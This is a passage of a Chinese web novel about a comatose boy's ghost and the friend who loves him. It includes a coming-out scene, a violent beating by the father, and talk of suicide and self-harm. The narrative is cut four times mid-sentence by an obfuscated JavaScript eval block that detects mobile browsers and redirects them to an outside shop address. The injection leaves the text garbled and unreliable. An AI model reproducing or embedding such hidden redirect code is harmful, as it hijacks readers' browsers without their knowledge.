苏辞行点了点头,似乎早已习惯这种说辞。 自从江宵宵转入ICU,不少人都避之不及,都说这孩子其实已经走了,全靠仪器吊着一口气。若撤掉设备,心跳随时会停。 他不信。转入普通病房初期,宵宵的心脏明明还在自主跳动。 或许是成了植物人,魂魄意外离体,才导致呼吸停止,而身体仍本能地想要活下去,苏辞行总觉得这事透着玄乎。 “那个护工不必留了,我会处理。另外两位也不用再来了,我会亲自找可靠的人来照顾。” “好的,苏少爷。” 金芸听到这些,嗓音嘶哑带着哭腔:“他们都说……撤了设备,宵宵的心跳就会停……白发人送黑发人,我怎么能不难受……他还没成年,才十七岁啊……我的孩子……” 江誉为将妻子搂进怀里,长叹一声:“那天我该去接他的,宵宵昏迷前,一定很恨我……” “他喜欢的那辆机车,他高考后就下单了,本想等他考完驾照、过了十八岁生日,当作成人礼送他,现在怕是……” 江誉为想起自己素日对学生温和耐心,对亲生儿子却严厉至此,心头便揪痛不已。 宵宵这身伤,即便能醒来,恐怕也得在医院躺上一年半载。那辆车,也许永远送不出去了。 他也明白“停止呼吸”意味着什么。大家说得对,宵宵如今全靠这些机器维系生命。这么重的伤,又能撑多久呢? 江宵宵站在父母面前,忍不住哭出了声。他扑过去想抱住他们,透明的身体却径直穿了过去。 那辆机车二十七万,是父亲好几个月的工资。他原以为这个愿望一辈子都不可能实现。 江誉为竟然真的会给他买。 苏辞行轻声开口:“叔叔,我有摩托车和机动车驾驶证。要不让我先去把车提回来?暂时放我那儿,等宵宵醒了,我教他骑。” 江誉为抹了抹眼角的泪:“好……我把发票发给你,随时能提。辞行,谢谢你这么照顾宵宵,我真不知该怎么谢你。” 苏辞行忽然说:“叔叔,既然我帮了这么多忙,您能答应我一个愿望吗?” 江誉为沉吟片刻:“只要叔叔能做到的,一定答应。你需要什么?” “先欠着吧,”苏辞行微微一笑,“等我想好了,再告诉您。” 江誉为点头:“可以。” “爸!爸!”江宵宵知道这家伙鬼主意多,急得在江誉为面前跳来跳去,“不能答应他啊!万一他要……” 万一他要你儿子怎么办! 你不能把我卖出去! 苏辞行摸了下他头顶,把人拉走,随即转身去换隔离服,准备进病房看望江宵宵的身体。 江誉为愣了愣,困惑地看向妻子:“我怎么觉得……辞行这孩子最近精神状态也不太好?是太难过吗?刚才好像在对着空气挥手?” 金芸蹙眉:“他前两次梦游割腕,就是因为亲眼看见宵宵坠楼,浑身是血……受了刺激。没想到两个孩子感情这么深,都是好孩子啊。” 江誉为没再多想。苏辞行性格温和,心地纯善,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084481|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直很喜欢这孩子。 - 苏辞行换好隔离服走进ICU,那个小小的鬼魂也飘了进来。江宵宵再次尝试回到自己的身体里,依然徒劳无功。 病床上的少年静静躺着,呼吸机面罩扣在苍白的脸上,尽管已无实际作用,但他父母要求必须要用,以防万一出现呼吸迹象时能及时供氧。 江宵宵在病房里飘来荡去,打量着自己缠满纱布的身体。 “好丑啊,只看得到眼睛。” 头部被白色绷带层层包裹,他记得坠落时额头狠狠磕地,剧痛钻心。伤口很深,他忍不住哀嚎:“我额头上该不会留个大疤吧?老子的颜值啊!完了完了,要不别活了,就当个鬼算了……” 苏辞行虚虚抬手,像在安抚什么:“安静点,ICU里不能喧哗。” 江宵宵:“??” 鬼也不能吵? 苏辞行唇角微扬,低声道:“放心,我请了国外最好的祛疤专家。你这张漂亮脸蛋,不会留疤的。” “去你的!什么漂亮的脸蛋,老子是帅气,帅气懂吗?别拍我头,长不高!”江宵宵气呼呼地虚打他手背。 苏辞行低头看了看,嘴角笑意更深,有种被小猫挠了还觉得它可爱的纵容。 他在病床边俯身,轻轻握住那只冰凉的手,低语道:“宵宵,你一定会好起来的。” 旁边的鬼魂拼命想掰开他的手,却使不上力,只能疯狂炸毛。 “松手!不许亲我的身体!” “你亲我鬼魂也就算了,怎么还能碰我身体?欺负我躺在病床上不能动?我是直男,直男啊啊啊啊——” “非礼,你这是非礼!” 苏辞行不仅没松,将病床上的人抓的更紧,唇轻轻印在他手背上。 生前他绝不敢这么做,怕那个一点就炸的少年生气,再也不理他。 现在却不怕了,因为江宵宵只能躺在这里,魂魄也离不开他身边。 他知道自己很过分,但是他还是要这么做。 “宵宵,对不起。” 江宵宵用脑袋撞他,小发雷霆:“我要告诉我爸妈,你欺负我!竟然在这里亲我的身体?我还是个病人!” “去吧。”苏辞行淡然道。 江宵宵气得牙痒,想告状却无人能听见,只能围着他虚张声势地拳打脚踢一番。 苏辞行竟然还笑了起来,像是被打开心了,若是旁人,见到一个鬼魂疯狂打自己,不知道还以为是来索命的。 苏辞行探望完江宵宵,和门外忧心忡忡的父母打了招呼,准备离开。 江宵宵戳戳他胳膊:“你劝劝我爸妈,让他们回去吧。白天要上班,晚上还守在这儿,别等我醒了,他们先累垮了。” 苏辞行看了他一眼。明明被父母严厉管教多年,这孩子却毫不记仇,依旧心存善良。 “叔叔阿姨,你们先回去休息吧。我托姑姑找了信得过的护工,明天就能来照顾宵宵。” 江宵宵想到最后一面,是和父母吵架,他们一定很后悔吧。 9. 调皮鬼 金芸轻声回道:“没事的,我母亲也在住院。我留在医院,正好能两边照应。倒是你,千万别因为宵宵的事耽误了学业。” 苏辞行沉默片刻,开口道:“阿姨,您说,如果宵宵现在有意识,他会恨你们吗?那孩子总是口是心非,您也知道的。要是您二位累垮了身子,他醒来后只会更着急,反而影响伤口恢复。” 江誉为与金芸对视一眼,都觉得这话在理。 江宵宵目送他们离开,又飘飘悠悠地跟了上去。看着父母还要去照料生病的外婆,而外婆,其实并不愿见到他们。 “外婆……你别生气了。” 江宵宵飘过去,在老人身旁左右晃悠,奈何老人就是看不见他。 “生气对身体不好,可是你们都听不见我说话……” 江宵宵飘到了门口,一脸失落:“我进去也没用,只能等身体恢复正常,哎,好担心我外公和外婆伤心过度,伤到了身体。” 苏辞行牵起他的手:“走吧。医生说你外婆是高血压,已经稳定了。等你醒来的时候,大家都会好好的。” 江宵宵垂着头,丧气地飘在他身后,低声嘟囔:“唉,我真后悔……当时太冲动了。看见他们动我妈的嫁妆首饰盒,我就气不过,那都是我妈妈最心爱的东西。谁知道他们那么厉害,我根本打不过……” 苏辞行轻轻拍了下他的后脑:“别想了。既然已经发生,总后悔只会影响心情。” “对了,”江宵宵忽然抬头,“入室抢劫的小偷抓到了吗?” 苏辞行点头,眼底掠过一丝阴霾:“你出事第三天就抓到了。地下室里还有个开车接应的同伙,其中一人刚出狱两年,有案底。现在三个都进去了。我请了律师。推你下去的那两人,入室抢劫致你重伤一级,证据确凿,判了无期。楼下接应的判了十年。” 江宵宵震惊地瞪大眼睛:“能判这么重?你是不是……花钱找关系了?” 苏辞行捏了捏他冰凉的脸颊:“为什么不能判?宵宵,你都变成这样了。这几乎等同于致人死亡。他们死不足惜。” 江宵宵怔怔地望着他。 一提到伤害自己的人,苏辞行的眼神就变得冰冷陌生,那股几乎要溢出来的在乎,让他恨不得亲手了结那两人。 “好啦,别生气。”江宵宵飘起来,双手搂住苏辞行的脖子,两腿盘在他腰间,笑嘻嘻地贴上去,“我这不是没事嘛?按理说,只要魂魄回到身体里就能醒过来,我可还没死呢。” 江宵宵还挺喜欢他的后背,结实宽厚,很踏实,如果能当好兄弟也不错。 “嗯。”苏辞行握住他的手,“宵宵,趁现在还有时间,去一趟我家吧。到那儿大概九点,可以直接休息。我想问问曾爷爷的事,得尽快让你好起来。” “好。” 他怕拖得越久,对江宵宵的魂魄越不利。 他不能再失去宵宵第二次。 - 苏辞行的家就在江宵宵家隔壁小区,离得很近。江宵宵只小学时去过两次。 江宵宵的父亲是大学教授,母亲是重点高中教师,两人年薪约八十万,苏辞行家条件更加富有。父母经营珠宝生意,开了多家旗舰店,住的是独栋别墅。 苏辞行上大学后很少回家,平日多住宿舍。推开别墅大门时,父母都在客厅。 苏秋明坐在沙发上看足球赛,聚精会神。苏夫人穿着旗袍式睡衣,搭了条披肩,正将水果端去厨房清洗。 “哎呀,儿子回来啦!”苏夫人抬头笑道,“刚才发消息还说在路上呢。妈妈买了你爱吃的草莓。” 苏辞行进门时,家里的保姆张姨顺手带上了门。 江宵宵的魂魄就这样被关在外面了。 苏辞行回头,看见那道半透明的影子穿门而入,正对着保姆发愣,呆呆的表情有些好笑。 保姆疑惑:“少爷,您在看什么?” 江宵宵气鼓鼓地瞪她,当然是我啊,阿姨!你把我关门外了! “没什么。”苏辞行走进客厅,那只小鬼也乖乖飘到他身边。 “爸,妈。”苏辞行把书包放在沙发上,“我刚去看过宵宵了。” 一向专注看球的苏秋明闻言,竟转过头来,目光意味深长:“怎么样?那孩子还是没呼吸?” 苏辞行摇头:“没有。” 江宵宵飘到苏父面前做了个鬼脸,对方毫无反应。他又溜回苏辞行身边,一屁股坐在他肩膀上。 “别闹。”苏辞行轻轻拍了拍他的手,调皮鬼。 苏秋明又看过来,别闹?在说他吗? 苏母将洗好的草莓放在儿子面前:“宝贝,虽然爸妈不理解你出去租房,但也尊重你的选择。不过听说你租了个一楼,太阴暗,妈妈重新给你找个房子好不好?” 苏辞行摇头:“我就要那间。我喜欢没有光的地方。” 江宵宵低头,对着草莓深深吸了一口气,想闻点香味,却什么也没感觉到。 看来得把水果当供品摆着才行。 苏母叹了口气:“都一周没回家……你的病怎么样?夜里还梦游吗?” 苏辞行没说话。他穿着白色长袖衬衫,手腕虽被纱布遮着,却逃不过母亲的眼睛。 苏母忽然拉过他的手,看见那道新伤口,声音顿时发颤:“小辞!这伤怎么回事?你又梦游伤害自己了?为什么不告诉妈妈?” 苏秋明也转过头,球赛再也看不进去。 苏辞行放下袖口:“没事。最近两天忘了吃药,又开始做噩梦。” 江宵宵从他身上滑下来,安安静静坐在一旁,眼神有些飘忽。 苏秋明关掉电视,沉声道:“国庆节要是还没好转,我带你去国外看看。听说有办法淡化那种记忆。当时整个小区的大人都吓跑了,何况你亲眼看见最好的朋友……唉。” “爸!”苏辞行突然打断他,“我说了,宵宵没死!他没死!为什么你们所有人都说他死了!” 江宵宵吓得一颤。 苏辞行怎么突然这么凶? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084482|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏秋明和苏母却面色平静,仿佛早已习惯他们儿子的失常。 苏母将儿子搂进怀里,眉间满是忧色:“小辞,妈妈知道好朋友去世你很难过……可是没有呼吸,在医学上就是去世了啊。他父母舍不得孩子,才勉强维持着……但只要放弃治疗,孩子就真的没了。从六楼摔下来,头都撞伤了,神仙也救不回来的。” 苏辞行猛地推开她。苏秋明扶住妻子,夫妻俩从未见过儿子这般态度。 “爸,妈,我说了几百遍,江宵宵没死!我要研究玄学,我要救活他,曾爷爷到底是做什么的?他给我的这块玉,到底有什么用?” 苏秋明最疼这个儿子,高考成绩上过新闻,给他挣足了面子。 可如今儿子竟说出“研究玄学”这种话,他真怕孩子精神出了问题。 他试图先稳住儿子情绪:“你别激动……你曾祖父是……” 话到一半,苏秋明忽然顿住。他想起爷爷的亲兄弟,那位行走江湖的道士。 那人虽被说是骗子,却也传授了不少东西给爷爷。 而爷爷自己后来也迷上这些,整日关在书房研究,很少理会家人。 “你……怎么突然问起曾祖父的事?” 苏辞行猛地站起来:“曾爷爷是不是懂玄学?他一定知道怎么让人醒过来,对不对!” 苏母惊恐地抓住他的胳膊摇晃:“宝贝……你别吓妈妈啊。去世的人怎么可能复活?你……你是不是精神出问题了?要是真不舒服,咱们先不去学校,在家好好休养,妈妈给你找最好的医生……” 苏辞行烦躁地抓了抓头发,跌坐回沙发,眼泪毫无预兆地滚下来。 “我没疯……我真的没疯……我只想救宵宵……为什么你们都不理解我、不信我?你们是我爸妈,连你们都不肯告诉我吗……” 苏秋明神色凝重。他走过去,拍了拍儿子的肩:“小辞,你曾爷爷有个大哥,是个江湖道士,说是骗子也不为过。我爷爷跟着他学过不少东西。” “虽然我不信玄学,但你脖子上这块玉,确实开过光,能保平安。” “你两岁那年掉进湖里,大家都以为没救了……可捞上来后你什么事都没有,只是呛了两口水。” “但是,”他语气沉下来,“它只能保你平安,不能让死人复活。” “道士……”苏辞行眼睛亮了一瞬,急急追问,“那他的东西呢?有没有符纸、法器之类的?让我看看!” 苏母接话道:“你曾祖父去世时,所有物件都随他下葬了……什么也没留下。” 线索断了。 苏辞行再度陷入绝望。如果找不到办法,江宵宵的魂魄就永远回不到身体里。 江宵宵趴在他背上,轻声说:“苏辞行,别难过……说不定还有别的办法。” “宵宵……对不起,都是我害你变成这样……”苏辞行总觉得,是自己害了他。 苏母浑身发抖,颤巍巍地拉起儿子的手:“宝贝……你在和谁说话?” 10. 伤心鬼 苏辞行缓缓摇头,面无表情:“没谁,我在自言自语。” 他停顿片刻,又抬起头,眼里带着很多期盼,“曾爷爷真的没留下其他东西吗?哪怕是些旧书籍、笔记之类的……我想看看。” 苏秋明和苏母对视一眼,彼此眼中都写满了同样的忧虑。儿子怕是真的疯了。 眼下,他们只能先稳住他的情绪。连哄带骗也好,绝不能让他再受刺激。 苏母放柔声音,像哄小孩似的:“真的什么也没留下……不过,你要是想找,明天妈妈陪你去爷爷的老书房看看,好不好?” 她眼底泛起泪光,“小辞,妈妈明天就申请休年假,去你租的房子那儿住几天……我实在不放心你一个人。” 苏辞行抬起头,目光在他们脸上缓缓扫过。那眼神太过清醒,清醒得让人心慌。 他语气充满无奈,又觉得可笑:“爸,妈,你们都觉得我疯了,是吗?我知道你们心里在想什么。” 苏秋明喉结滚动,低声问:“难道不是吗……” “我很清醒。”苏辞行打断他,神色是从未有过的认真,“我只是愿意相信,这个世界或许有我们理解不了的东西。相信这些,就是疯了吗?” 他苦笑,摇了摇头:“如果真疯了,我为什么还要按时吃药,努力想治好梦游症?我是正常人,这些你们大可以放心。” 客厅内很安静,家庭保姆站在旁边也不敢说话,哪怕天黑了,她也拿起扫帚,去院子里打扫卫生。 苏辞行深吸一口气,像是下定了某种决心,他坐直身体,看向父母。 “不管你们怎么想,我都会想尽办法救宵宵,因为……我出柜了,我喜欢男人。” “江宵宵,是我喜欢的人。” 话音落下的瞬间,空气仿佛凝固了。 苏秋明皱紧眉头,拳头握得咯咯作响。他最担心的事,还是发生了。自从那个男孩出事后,儿子就像变了个人。作业不写,魂不守舍,动不动就发脾气。 一提“江宵宵死了”,他就暴怒,情绪相当不稳定。 苏辞行从来是个乖巧的孩子,从不会忤逆父母。可这段时间,他做了什么? 联系他姨妈那边的律师关系,给凶手加刑,天天往医院跑,甚至不惜一切代价,要复活一个医学上已被判定即将死亡的植物人。 这哪里还是普通朋友该有的反应? 苏母整个人呆坐在沙发上,嘴唇微微张开,却发不出任何声音。 “你……你说什么……” 而江宵宵也如同木头杵在那里。 下一秒,他猛地飘到苏辞行面前,轻轻掐住他的脖子:“苏辞行!你疯了啊!又开始说胡话是不是?快解释!快说你不喜欢男人!我根本配不上你……” 苏辞行太优秀了。 成绩顶尖,家境殷实,前途无量。 而自己呢? 就算不是现在这副鬼魂样子,也只是顽皮、暴躁,性格不好的男孩子。 他们之间,只有成绩挨得近,自己没有其他优点。 苏母抹去眼角的泪水,颤声问:“小辞……其实我们怀疑过,但一直不敢信……你对他的感情……真的是恋人之间的那种吗?” 苏辞行抬起头,眼睛一眨不眨,每个字都掷地有声:“嗯,我喜欢江宵宵。” 啪—— 一记响亮的耳光狠狠甩在他脸上。 苏辞行被打得歪倒在地,还未起身,又被父亲狠狠踹了一脚趴在地上。 “苏辞行!你有病!” 苏秋明暴怒的声音震得整个客厅回荡:“你疯了!我看你是真疯了!从小到大,我给了你最好的生活,房子、车子、别墅,哪一样不是爸妈拼命挣来的?我们只想你好好读书,结婚生子,过正常人的日子……” 他猛地揪住儿子的衣领,眼眶通红:“你现在告诉我,你喜欢男人?同性恋!恶不恶心啊!你可是全国第一的学神!多少人的榜样!” 苏秋明的手都气得发抖:“你告诉我,这些都是假的,对不对?我那个优秀的三好学生,爸妈眼里的乖孩子,怎么可能是同性恋?你说啊!” 苏辞行静静看着他,嘴角渗出血丝,却忽然笑了。 那笑容很轻,很淡,却让苏秋明的心猛地一沉。 “爸,”苏辞行轻声说,“你们打死我吧。就当……没养过我这个儿子,是我不孝,无法报答你们的养育之恩。” 他眼底一片死寂:“如果救不了宵宵……我也去死。” 苏秋明一脸失望和愤怒:“……你威胁我?!” 苏辞行笑得更深了,可眼里却滚下泪来:“我是同性恋,你们讨厌我。反正宵宵也不在了……我死了,才还能和他团聚。” “我们去天堂,再也没有人能打扰我们……” 苏秋明和苏母都震惊了。 他们不敢相信,这些话会从十九岁的儿子口中说出,他才刚满十九岁。 人生才刚刚开始,却已经失去了活下去的意愿。 江宵宵也张大了嘴,双手都在颤抖。每一句话,每一个字,都像重锤砸在他心上。 他从未想过,苏辞行对他的感情,竟深到如此地步。 深到……愿意为他死。 “苏辞行,真的没必要……” 苏辞行眼底一片黯然,跪在地上,又挺直了后背。 他还是那么坚硬的语气:“你们打死我吧。如果不打死我……就接受我和宵宵在一起,等他醒来,我会好好活着,报答你们的养育之恩。” 苏秋明气得浑身发抖,目光扫过茶几,猛地抓起那根鸡毛掸子。竹制的柄端在灯光下泛着冷光。 他扬手就抽了下去。 啪——! 第一下狠狠落在肩膀上,苏辞行身体一颤,捂住胳膊,咬紧了牙。 啪—啪—— 接连几下,抽在背上、肩上。白衬衫很快渗出血迹,竹柄划过皮肤的声音,在寂静的客厅里格外刺耳。 “唔……” 苏辞行终于撑不住,倒在地上蜷缩起来,喉咙里溢出压抑的痛吟。 “苏辞行!!”江宵宵哭喊着扑过去,“快求饶啊!求求你,快认个错……!” 江宵宵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084483|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手想阻拦,魂魄却抓不住任何东西。他急得团团转,眼泪大颗大颗往下掉。 “苏辞行……我不值得,我真的不值得……我对所有人都那么好,为什么只有你这个笨蛋……把那些好全都放在了心里?” “我求你了,认个错吧……你真想让我们两个都变成鬼魂吗?” “苏辞行……” 江宵宵哭得哽咽,想过去替他挨打,鸡毛掸子却总是穿了过去。只能眼睁睁看着那些伤痕一道道绽开,鲜血染红衬衫。 “宿敌不该是这样的……”他喃喃道,眼泪模糊了视线,“你该把我当死对头才对啊……” 可他心里清楚,有那么一瞬间,甚至不止一瞬间,他对这个固执的少年,动了心。 苏秋明气红了眼,下手越来越重。 他对孩子几十年的期盼,在这一刻崩塌了。 那个听话、优秀、让他骄傲的儿子,怎么会变成这样。 忤逆长辈、同性恋、不写作业……每一样都踩在他的底线上。 “宵宵……” 苏辞行忽然轻轻唤了一声。他艰难地抬起手,像是要抓什么。 江宵宵趴在他面前,伸出手,两个人十指相扣,紧紧相握。 “宵宵的手……好冰啊……” “你个蠢货!”江宵宵哭着骂,“苏叔叔会打死你的!” “他不会……”苏辞行咳嗽两声,嘴角又渗出血,“宵宵……我喜欢你……” 他笑得很开心:“谢谢你……总是护着我……宵宵,你真好,很高兴认识你。” 最后是苏母先崩溃了。 她叫了一声住手,迅速冲过去挡着,趴在儿子后背上。 “别打了……别打了……” 女人哭得撕心裂肺,眼泪浸湿了苏辞行染血的衬衫,“十月怀胎,妈妈拼了命把你生下来……怎么会让你去死……” 苏秋明见她死死护着,气得一把摔了鸡毛掸子,又抓起茶几上的玻璃杯,狠狠砸在地上! “苏辞行!”他指着儿子,手指都在颤抖,“你到底改不改!” 苏辞行没有回答。 他闭上了眼睛,意识在疼痛中逐渐模糊。 恍惚间,他想起很多事,从小到大,父母总是很忙,忙生意,忙应酬,忙一切“为他好”的事。 他住着大房子,有花不完的零花钱,却常常一个人对着空荡荡的客厅发呆。 但是父母会满足他任何的要求,不会干涉他、强迫他学习。 和江宵宵家不一样。他们虽然对孩子成绩严厉,但每天晚饭时间,总是一家人围在一起,说说笑笑。 所以,人总是羡慕对方。 “宵宵……”他在心里轻声说,“对不起啊……我找不到让你回去的办法……爸妈也不肯答应我们……” 江宵宵的泪水很冰,凉凉的像泉水,苏辞行后背的伤口疼得厉害,这些冰冷的液体,滴上去还挺舒服。 窗外夜色很浓,周围寂静,只剩下各种哭声。 就这样死了也好,或许变成鬼魂,立马就能看见喜欢的人,他们就能相遇了。 11. 开心鬼 苏辞行昏迷了一整晚,直到第二天下午才醒。 房间里光线明亮,他茫然地环顾四周,稍一动弹,后背就火辣辣地疼起来。 他试着换了个姿势,改成趴在床上,这才哑着嗓子一声声唤道:“宵宵……宵宵。” “宵宵?” 床脚边传来动静,江宵宵先是踢了下床沿,随即慢悠悠从底下爬出来:“你妈妈刚才进来开窗,光太刺眼,我就躲这儿了。” 看见他,苏辞行明显松了口气。他强撑着坐起来,一瘸一拐地挪到窗边,关上窗、拉严窗帘。 房间重归昏暗,江宵宵这才从床底完全钻出。 “你快回来躺着!”江宵宵飘过去扶住他。 苏辞行重新趴回床上,又侧过脸去看身旁的鬼魂。 那透明的少年正伸手去够床头的药膏,却怎么也摸不起来,直到自己的手忽然被握住。 “宵宵,”苏辞行笑起来,“如果你能一直这样待在我身边也挺好。别人都看不见你,我每天放学回来就能陪你。” “太诡异了吧……人鬼殊途。”江宵宵一脸认真地盯着他。 “那又怎样?”苏辞行抓紧他的手,“眼下的情况,只要不碰光你就不会消失。是鬼我也要和你在一起。” 江宵宵用力甩开。苏辞行被牵动胳膊,立刻闷哼一声,整张脸埋进床单里,身子微微发抖。 “你没事吧?”江宵宵慌忙凑近。 “疼……”苏辞行抬起苍白的脸看他。 江宵宵手足无措地趴在床边:“怎么办?你爸妈还在楼下商量事情……要不要喊他们上来?你昏迷一天,早上阿姨是不是给你上过药了?” “不用喊……把药拿给我,我自己涂,你帮我揉揉就行,可以吗?”苏辞行声音低低的,带着点可怜。 江宵宵点点头。 苏辞行取过药膏,反手把消炎药抹在后背每道伤痕上,然后重新趴好,轻声说:“可以了。” “好。” 江宵宵愣了一下才反应过来,伸出冰凉的手,轻轻按在他背上慢慢揉开药膏。 因为鬼魂能碰到他身体,这种方法还算有效,那双手既凉又软,所过之处,药膏均匀化开,痛感似乎也随之缓解。 苏辞行悄悄勾起嘴角,哪里还有半点受伤的痛苦模样,全然一副奸计得逞的表情。 他闭眼享受着那冰凉柔软的触感,心里盘算,要是一直喊疼,说不定能让他揉到晚上。 江宵宵揉了好一会儿,抬头问:“好了吗?” “没,特别疼。” “哦,那我再揉揉。” 苏辞行唇角笑意更深,几乎要藏不住。就在这时,江宵宵动作忽然停住,他好像听见了笑声。 低头看去,苏辞行却仍是一脸痛苦,并无笑意。 “好疼……” “我再给你多揉揉吧。” 是听错了吗?江宵宵疑疑惑惑地继续揉药,丝毫没察觉自己已掉进某只狐狸的圈套。 咚咚—— 敲门声响起。 苏母端着餐盘推门进来,顺手按下顶灯开关:“小辞?醒了吗?怎么把窗帘拉这么严实,黑漆漆的……” 她说着就要去拉窗帘,苏辞行突然提高声音:“妈!别开!光线太强我梦游症容易发作。” “还有这种说法?” 苏母诧异走过来,只好转身走过来,将餐盘放在床头柜上。江宵宵就坐在床边,睁大眼睛看着她。 “药自己涂的?怎么不叫妈妈呢。”女人看向儿子后背,纵横交错的伤痕,几乎没有一寸完好的皮肤,有些地方红肿淤青清晰可见。 她眼圈一红,“小辞啊,你这是何苦……从小到大爸妈都没打过你,那么多好姑娘,怎么就非得选男孩子呢?” 苏辞行把脸埋进枕头,声音闷闷的:“我就喜欢江宵宵。您要是还想劝,就别说了。我从小对他就有好感,改不了。” 苏母叹了口气:“妈不是非要拆散你们。比起别的,我更担心你的身体。如果宵宵真能醒过来,那也是这孩子福大命大,妈就不说什么了。可万一他……他要是真的没了,你也得学会往前看。” “他不会死的。” 苏辞行瞥了眼旁边正竖起耳朵听八卦的小鬼。 “小辞,妈只求你平安健康。先把身体养好,这些事以后再说。”苏母轻轻抚了抚他的头发,“你爸那边……我已经跟他说好了。这些消炎药,就是他托人买来的好药材。难不成他还真想把亲儿子打死?” 苏辞行一愣:“可我那天说了那么多过分的话……” “傻孩子,你在爸妈心里永远是最乖的。你爸就是脸皮薄。以后亲戚问起也别提这事。等宵宵醒了,妈给你们另买套房子,你俩好好过,省得你爸见了心里难受。” 江宵宵在她眼前急得直蹦:“什么啊阿姨!我是直男!怎么就说到买房子了——” 苏辞行噗嗤笑出声,一把将他捞过来塞进被窝。 苏母揉了揉眼睛:“小辞,你刚伸手要拿什么?吃饭吗?” “嗯。” “来,妈喂你。” “不用,我自己来就好。”苏辞行挤出一个温和的笑。 “那好,吃完好好休息,我给你请了几天病假。” 等苏母离开,被窝里立刻闹腾起来,江宵宵又踢又顶,在被子里翻滚。可他那透明的腿脚总是不自觉地穿过被子,画面滑稽得很。 “好了,别闹。”苏辞行按住那颗不安分的脑袋,“这顿打挨得值。宵宵,等你好了,我们就能名正言顺在一起。” “什么!我还没同意!我是直男!”江宵宵怒道。 苏辞行只是笑。他把餐盘挪到面前,排骨汤冒着热气,红枣枸杞浮在面上,旁边还有清蒸虾蟹和米饭。 他并拢筷子搁在碗上,又将几个碗摆成长方形,对着空气轻声说:“来,吃饭。” 听到“吃饭”二字,江宵宵立刻钻出来吸□□气,边吸边嘀咕苏阿姨手艺真好。 “等你身体好了,来家里住,天天都能吃。”苏辞行接话。 “去你的,我才不来,休想骗我过来!江宵宵扑上去掐他脖子左右摇晃。 苏辞行“嘶” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084484|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抽了口气。江宵宵慌忙松手,抓着他胳膊紧张地问:“怎么了?伤口裂了?” 苏辞行趁机捉住他的手亲了一下:“宵宵,你在担心我。是不是听我表白,心动了?” 江宵宵气得捶他脑袋:“再胡说八道我真揍你了!你以为演电视剧呢?挨顿打、说几句肉麻话,我就心软变弯?老子铁直!” 苏辞行眼睛弯成月牙:“嗯,你慢慢直着吧。” 江宵宵简直想吐血。他实在想不通自己有什么好,值得这傻子挨一顿皮开肉绽的打还不肯认错。 本来变成鬼是想吓吓这个多年死对头,结果对方不但不怕,还要求天天同床共枕。 这根本是个恋爱脑吧! “宵宵,过来躺好休息。明天我去帮你提机车。”苏辞行拍了拍床侧的空位。 江宵宵爬过去钻进被窝,虽然盖不盖对他这个透明鬼没什么区别,但做人时的习惯到底改不掉。 “我白天打个伞,应该也能出去吧?你说要是买件挡光的雨衣,再打把伞,我是不是就能出门了?” 苏辞行看他满脸期待,便点了点头:“等我三天,伤好了能走路就去提车。正好网上买些防晒工具,到货差不多也要三天。” “好!” …… 三天后。 苏辞行买的防紫外线雨衣到了。他在房间阳台摆了几个碗,两侧点上蜡烛,将雨衣放进碗中点燃。 衣物渐渐烧成灰烬,这种祭祀方式烧掉的东西,只有鬼魂能收到。 江宵宵等了一会儿,眼前突然浮现出一件粉色的防紫外线外套,样式类似雨衣。 他拿起来端详片刻,试着穿上。竟然正合适。原来还有这种方法收东西!可是…… 江宵宵跳起来对着苏辞行胸口一通乱捶:“你为什么买粉色的!” “别打别打,这是男款,粉色男款不要紧。”苏辞行笑着抓住他手腕。 江宵宵气鼓鼓地瞪着他,活像只炸毛的猫。 装备穿戴整齐,苏辞行撑起一把蓝色超大太阳伞。趁着爸妈不在家,他带着江宵宵出了门。 门口打扫的保姆一脸疑惑:少爷怎么买了这么大一把伞?打着不累吗? - 苏辞行稳稳撑着伞,江宵宵紧挨在他身侧,双手抱着他胳膊。巨大的伞影笼罩下来,江宵宵没感到任何不适。 “真的!我能出门了!”他兴奋地小声说。 苏辞行轻轻拍了拍他脑袋:“别乱动,小心阳光。现在去提车,我们骑慢点回来。” 